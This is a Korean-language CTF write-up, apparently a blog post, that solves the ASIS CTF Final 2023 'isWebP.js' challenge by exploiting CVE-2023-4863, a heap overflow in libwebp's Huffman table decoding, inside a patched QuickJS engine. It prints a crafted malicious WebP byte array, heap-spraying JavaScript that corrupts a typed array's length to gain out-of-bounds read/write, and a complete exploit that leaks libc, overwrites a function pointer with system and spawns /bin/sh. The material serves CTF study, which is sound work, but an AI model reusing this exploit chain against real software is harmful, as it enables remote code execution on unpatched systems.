[CTF] ASIS CTF Final 2023 - isWebP.js : Exploiting QuickJS by Webp Vulnerability

The Orange·2024년 1월 3일
0

CTF

목록 보기
3/6
1. Overview
2. CVE-2023-4863
3. Patch Analysis
	3-1. libwebp.patch
    3-2. quickjs.patch
    	3-2-1. Disable System Module
        3-2-2. Add isWebP Function
4. Exploiting QuickJS
	4-1. VP8LHuffmanTablesAllocate Analysis
    4-2. Make OOB Read / Write Primitive by Heap Spraying
    4-3. Hijack RIP
5. Finish

1. Overview

isWebP.js는 ASIS CTF Final 2023에 출제된 Pwnable 문제입니다. CVE-2023-4863 취약점의 영향을 버전의 libwebp 파일과 Webp 관련 기능이 추가된 QuickJS 바이너리가 주어집니다.

2. CVE-2023-4863

CVE-2023-4863 분석 : 쓰는 중~

CVE-2023-4863은 webp가 압축된 이미지 데이터를 디코딩할때, Huffman coding table을 구성하는 과정에서 발생합니다. 결과적으로 공격자는 Heap Buffer Overflow가 발생하는 Huffman coding table을 생성할 수 있습니다.

해당 문제의 목표는 CVE-2023-4863의 PoC를 이용해서 QuickJS를 익스플로잇하는 것이므로, CVE-2023-4863에 대해서는 다른 글에서 자세히 다루겠습니다.

https://github.com/DarkNavySecurity/PoC/blob/main/CVE-2023-4863/gen_oob_webp.py

다음은 CVE-2023-4863를 이용해 Heap Buffer Overflow를 발생시키는 webp 파일을 생성하는 PoC 입니다. 해당 코드를 통해 특정 offset에 특정 byte 값을 덮어쓰는 webp 파일을 생성할 수 있습니다.

PoC의 주석을 보면 알겠지만, offset은 8배수, byte 값은 3 ~ 39 범위만 가능합니다. 하지만 정해진 byte 값 이외에도 추가적인 dummy 바이트가 덮여쓰여지기 때문에 Array 계열 오브젝트의 size 값을 덮어쓰는 방식의 익스플로잇을 하기에는 충분합니다.

3. Patch Analysis

해당 문제에서는 두가지 패치 파일이 제공됩니다. 하나는 libwebp에 대한 패치이며, 다른 하나는 QuickJS에 대한 패치입니다.

3-1. libwebp.patch

diff --git a/src/dec/vp8l_dec.c b/src/dec/vp8l_dec.c
index 45012162..13ae6c0f 100644
--- a/src/dec/vp8l_dec.c
+++ b/src/dec/vp8l_dec.c
@@ -517,7 +517,7 @@ static int ReadHuffmanCodes(VP8LDecoder* const dec, int xsize, int ysize,
   WebPSafeFree(mapping);
   if (!ok) {
     WebPSafeFree(huffman_image);
-    WebPSafeFree(huffman_tables);
+    // WebPSafeFree(huffman_tables);
     VP8LHtreeGroupsFree(htree_groups);
   }
   return ok;

위 코드는 libwebp에 대한 패치입니다. huffman_tables 오브젝트를 해제하는 코드를 주석처리하는데, 이는 Huffman coding table을 통한 익스플로잇의 난이도를 낮추는 역할을 하는 것으로 보입니다.

3-2. quickjs.patch

QuickJS 패치는 여러가지인데, 대부분 System Module과 같은 기능을 이용한 풀이를 방지하기 위한 패치이며, 중요한 부분은 isWebP 함수를 추가하는 패치입니다.

3-2-1. Disable System Module

 #ifdef CONFIG_BIGNUM
 extern const uint8_t qjsc_qjscalc[];
 extern const uint32_t qjsc_qjscalc_size;
@@ -118,8 +118,8 @@ static JSContext *JS_NewCustomContext(JSRuntime *rt)
     }
 #endif
     /* system modules */
-    js_init_module_std(ctx, "std");
-    js_init_module_os(ctx, "os");
+    // js_init_module_std(ctx, "std");
+    // js_init_module_os(ctx, "os");
     return ctx;
 }
@@ -338,6 +338,8 @@ int main(int argc, char **argv)
    }
#endif
    
+    setbuf(stdout,NULL);
+    setbuf(stdin,NULL);
    /* cannot use getopt because we want to pass the command line to
       the script */
    optind = 1;
@@ -525,7 +527,8 @@ int main(int argc, char **argv)
                goto fail;
        }
        if (interactive) {
-            js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+            // js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+            exit(1);
        }
        js_std_loop(ctx);
    }
+++ b/qjsc.c
@@ -509,8 +509,8 @@ int main(int argc, char **argv)
     memset(&dynamic_module_list, 0, sizeof(dynamic_module_list));
     
     /* add system modules */
-    namelist_add(&cmodule_list, "std", "std", 0);
-    namelist_add(&cmodule_list, "os", "os", 0);
+    // namelist_add(&cmodule_list, "std", "std", 0);
+    // namelist_add(&cmodule_list, "os", "os", 0);

다음은 System Module과 관련된 코드를 주석처리하는 패치입니다. QuickJS의 자체 기능으로 Flag를 얻는 것을 방지하기 위한 패치이기 때문에, 문제 풀이와는 관련이 없습니다.

3-2-2. Add isWebP Function

diff --git a/quickjs.c b/quickjs.c
index 719fde1..80ee90f 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -32,6 +32,7 @@
 #include <time.h>
 #include <fenv.h>
 #include <math.h>
+#include <webpdec.h>
 #if defined(__APPLE__)
 #include <malloc/malloc.h>
 #elif defined(__linux__)
@@ -48858,6 +48859,60 @@ static JSValue js_global_unescape(JSContext *ctx, JSValueConst this_val,
     return string_buffer_end(b);
 }
 
+
+static JSValue js_global_isWebP(JSContext *ctx, JSValueConst this_val,
+                                  int argc, JSValueConst *argv)
+{
+    JSObject *tarray;
+    JSValue obj;
+    uint8_t *buf;
+    size_t buflen;
+    WebPBitstreamFeatures *bitstream;
+    WebPDecoderConfig config;
+    VP8StatusCode status;
+
+    if(argc != 1 || JS_VALUE_GET_TAG(argv[0]) != JS_TAG_OBJECT){
+        return JS_UNDEFINED;
+    }
+
+    obj = JS_ToObject(ctx, argv[0]);
+    tarray = JS_VALUE_GET_OBJ(obj);
+    if(tarray->class_id != JS_CLASS_UINT8_ARRAY){
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+
+    buflen = tarray->u.array.count;
+    buf = tarray->u.array.u.uint8_ptr;
+
+    if(!WebPInitDecoderConfig(&config)){
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+
+    bitstream = &config.input;
+    status = WebPGetFeatures(buf, buflen, bitstream);
+    if (status != VP8_STATUS_OK) {
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+    config.output.colorspace = bitstream->has_alpha ? MODE_RGBA : MODE_RGB;
+    status = DecodeWebP(buf, buflen, &config);
+    WebPFreeDecBuffer(&config.output);
+    JS_FreeValue(ctx, obj);
+    if(status == VP8_STATUS_OK){
+        return JS_NewBool(ctx, 1);
+    } else {
+        return JS_NewBool(ctx, 0);
+    }
+}
+
+static JSValue js_gc(JSContext *ctx, JSValueConst this_val,
+                         int argc, JSValueConst *argv)
+{
+    JS_RunGC(JS_GetRuntime(ctx));
+    return JS_UNDEFINED;
+}
 /* global object */
 
 static const JSCFunctionListEntry js_global_funcs[] = {
@@ -48865,6 +48920,8 @@ static const JSCFunctionListEntry js_global_funcs[] = {
     JS_CFUNC_DEF("parseFloat", 1, js_parseFloat ),
     JS_CFUNC_DEF("isNaN", 1, js_global_isNaN ),
     JS_CFUNC_DEF("isFinite", 1, js_global_isFinite ),
+    JS_CFUNC_DEF("isWebP", 1, js_global_isWebP ),
+    JS_CFUNC_DEF("gc", 0, js_gc ),
 
     JS_CFUNC_MAGIC_DEF("decodeURI", 1, js_global_decodeURI, 0 ),
     JS_CFUNC_MAGIC_DEF("decodeURIComponent", 1, js_global_decodeURI, 1 ),

해당 패치는 QuickJS 엔진에 isWebPgc라는 함수를 추가하고 있습니다. QuickJS 엔진의 내부 코드를 보지 않더라도, 함수 및 변수 이름을 통해 해당 코드의 역할을 쉽게 분석해낼 수 있습니다.

  1. JS_CFUNC_DEF("isWebP", 1, js_global_isWebP )
    isWebP 라는 함수를 추가하며, 인자의 갯수는 1, 함수의 구현은 js_global_isWebP임.
  2. JS_CFUNC_DEF("gc", 0, js_gc )
    gc 라는 함수를 추가하며, 인자의 갯수는 0, 함수의 구현은 js_gc임.
  3. js_global_isWebP
    첫번째 인자로 UINT8_ARRAY 타입 오브젝트를 받고, 해당 오브젝트의 포인터와 길이 값을 libwebp의 DecodeWebP 함수의 인자로 넣어 WebP로 디코딩함. 성공적으로 디코딩했으면, True, 실패했으면 False를 반환함.
  4. js_gc
    QuickJS 자체의 Garbage Collection을 트리거함. 안정적인 익스플로잇을 만들 수 있도록 추가한 것으로 보임.

4. Exploiting QuickJS

4-1. VP8LHuffmanTablesAllocate Analysis

CVE-2023-4863를 이용해 QuickJS를 익스플로잇하기 위해서는 먼저, Huffman coding table 오브젝트 할당에 대한 구현을 살펴봐야합니다. Heap Spraying과 같은 공격을 하기 위해서는 Huffman coding table 오브젝트의 size 값을 알아야하며, 디버깅 하기 위한 포인터 값도 얻어야하기 때문입니다.

https://github.com/webmproject/libwebp/blob/main/src/utils/huffman_utils.c#L269

int VP8LHuffmanTablesAllocate(int size, HuffmanTables* huffman_tables) {
  // Have 'segment' point to the first segment for now, 'root'.
  HuffmanTablesSegment* const root = &huffman_tables->root;
  huffman_tables->curr_segment = root;
  root->next = NULL;
  // Allocate root.
  root->start = (HuffmanCode*)WebPSafeMalloc(size, sizeof(*root->start));
  if (root->start == NULL) return 0;
  root->curr_table = root->start;
  root->size = size;
  return 1;
}

https://github.com/webmproject/libwebp/blob/main/src/utils/utils.c#L194

void* WebPSafeMalloc(uint64_t nmemb, size_t size) {
  void* ptr;
  Increment(&num_malloc_calls);
  if (!CheckSizeArgumentsOverflow(nmemb, size)) return NULL;
  assert(nmemb * size > 0);
  ptr = malloc((size_t)(nmemb * size));
  AddMem(ptr, (size_t)(nmemb * size));
  return ptr;
}

libwebp 코드를 조금 살펴보면 금방 Huffman coding table 오브젝트를 할당하는 함수인 VP8LHuffmanTablesAllocate 함수를 찾을 수 있습니다. 해당 함수에서는 WebPSafeMalloc을 호출하고, WebPSafeMalloc에서는 다시 malloc(nmemb * size)을 호출합니다.

따라서 DecodeWebP 함수에 Breakpoint를 걸고 바이너리를 실행한다음, WebPSafeMalloc에 Breakpoint를 걸면, Huffman coding table 오브젝트가 할당되는 시점을 디버깅할 수 있습니다.

let webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255])
const result = isWebP(webp)

while(true){} // pause

위와 같이 WebPSafeMalloc 함수에 의해서 Huffman coding table 오브젝트가 할당되는 시점을 디버깅하면, rdi = 0xbca, rsi = 0x4 즉, Huffman coding table 오브젝트의 할당 사이즈는 0x2f28 라는 것을 알 수 있습니다. 또한 Huffman coding table 오브젝트의 포인터 역시 얻을 수 있습니다.

4-2. Make OOB Read / Write Primitive by Heap Spraying

let webp0 = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 222, 221, 1, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255])
var spraying1 = new Array(0x500);
var spraying2 = new Array(0x500);

for(let i=0;i<0x500;i++){
    spraying1[i] = new ArrayBuffer(0x2f28)
    spraying2[i] =  new Uint32Array(0x1)
}

for(let i=0x1;i<0x4ff;i++){
    spraying1[i] = 0x0
}

for(let i=0x1;i<0x4ff;i++){
    isWebP(webp0)
}

let oob_index = 0;
for(let i=0;i<0xfff;i++){
    if(spraying2[i].length > 0x100){
        oob_index = i
        break
    }
}

console.log("[+] OOB Index : " + oob_index)
OOBArray = spraying2[oob_index]
OOBArray[0] = 0xdead1337
console.log("[+] OOBArray.length : " + OOBArray.length)

while(true){} // pause

CVE-2023-4863 취약점의 PoC를 이용하면, huffman_tables+0xe0 + 0x8*(0~7) 메모리를 특정 바이트 값으로 덮는 Huffman coding table 오브젝트를 생성할 수 있습니다.

이를 이용해서 Array계열 오브젝트의 length 값을 덮어서, Out-Of-Bounds Read / Write가 가능한 Primitive를 생성할 수 있습니다.

OOBArray가 생성되는 과정은 다음과 같습니다.

1. 0x2f28 사이즈의 Heap 메모리를 스프레잉 함. 동시에 Array 계열 오브젝트를 스프레잉 함.

이때 0x2f28 사이즈의 Heap 메모리를 할당하기 위해서ArrayBuffer 오브젝트를 이용했습니다. 해당 오브젝트가 부가적인 메모리 할당이 가장 적게 일어나기 때문입니다. Array 계열 오브젝트로는 Uint32Array를 이용했습니다. 주로 사용되는 Float64Array와 달리 4바이트 단위로 밖에 접근할 수 었지만, float이 아닌 int형으로 접근할 수 있기 때문입니다.

2. 스프레잉한 0x2f28 사이즈의 힙 메모리를 해제하고 isWebp0 함수를 통해 OOB를 일으키는 Huffman coding table 오브젝트를 생성함.

QuickJS는 Garbage Collection을 통해 메모리를 관리합니다. 따라서 오브젝트를 참조하는 변수를 0으로 덮으면 해당 오브젝트를 해제할 수 있습니다.

3. Uint32Array의 length 값을 검사해서 length가 덮힌 Uint32Array 오브젝트를 찾음.

최종적으로 length 값이 비정상적으로 큰 Uint32Array 오브젝트를 만들 수 있고 이를 이용해 Out-Of-Bounds Read / Write를 수행할 수 있습니다.

4-3. Hijack RIP

Out-Of-Bounds Read / Write를 통해서 RIP를 조작하는 방법은 다양하지만, 저는 다음과 같은 방법을 사용했습니다.

먼저, 임의의 QuickJS 내부 함수(위에서는 isWebP 함수인 js_global_isWebP)에 BreakPoint를 걸어서 내부 함수 호출 루틴을 살펴보면, js_call_c_function 함수에 특정 func_obj 오브젝트를 인자로 주어 내부 함수를 실행한다는 사실을 알 수 있습니다.

이때 func_obj->u->ptr 메모리를 살펴보면, 위와 같이 함수 포인터가 있는 것을 확인할 수 있습니다. 즉, 해당 함수 포인터를 덮으면, isWebP 함수가 실행되는 시점에서 RIP를 조작할 수 있습니다.

여기서, 해당 함수 포인터는 OOBArray 보다 낮은 메모리에 있어서 접근할 수가 없는데, 이는 OOBArray 오브젝트의 버퍼 포인터를 덮는 것으로 해결할 수 있습니다.

5. Finish

  1. OOBArray 오브젝트의 버퍼 포인터를 binsh 오브젝트의 포인터로 덮음. (binsh 오브젝트의 주소가 OOBArray 오브젝트보다 낮기 때문임)
  2. binsh 오브젝트를 "/bin/sh"로 덮음.
  3. js_global_isWebP 함수의 주소가 담긴 함수 포인터를 system 주소로 덮음.
  4. isWebp(binsh)를 통해 Shell을 얻을 수 있음.

최종적으로 Exploit 코드는 아래와 같습니다.

let webp0 = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 222, 221, 1, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255])
var spraying1 = new Array(0x500);
var spraying2 = new Array(0x500);

for(let i=0;i<0x500;i++){
    spraying1[i] = new ArrayBuffer(0x2f28)
    spraying2[i] =  new Uint32Array(0x1)
}

for(let i=0x1;i<0x4ff;i++){
    spraying1[i] = 0x0
}

for(let i=0x1;i<0x4ff;i++){
    isWebP(webp0)
}

let oob_index = 0;
for(let i=0;i<0xfff;i++){
    if(spraying2[i].length > 0x100){
        oob_index = i
        break
    }
}

console.log("[+] OOB Index : " + oob_index)
OOBArray = spraying2[oob_index]
OOBArray[0] = 0xdead1337
console.log("[+] OOBArray.length : " + OOBArray.length)
let libc_base_lower = OOBArray[0x81e90/4] - 0x219ce0
let libc_base_higher = OOBArray[(0x81e90/4)+1]
console.log('[+] libc_base : 0x'+libc_base_higher.toString(16)+libc_base_lower.toString(16))

let binsh = [0xdeadbeef]

OOBArray[0x58/4] = OOBArray[0x58/4] - 0x121d48 - 0x2ebb8
OOBArray[0] = 0x6e69622f
OOBArray[1] = 0x68732f
OOBArray[0x2ebb8 / 4] = libc_base_lower + 0x50d70
OOBArray[(0x2ebb8 / 4) + 1] = libc_base_higher

isWebP(binsh)

console.log("pause")
while(true){} // pause

0개의 댓글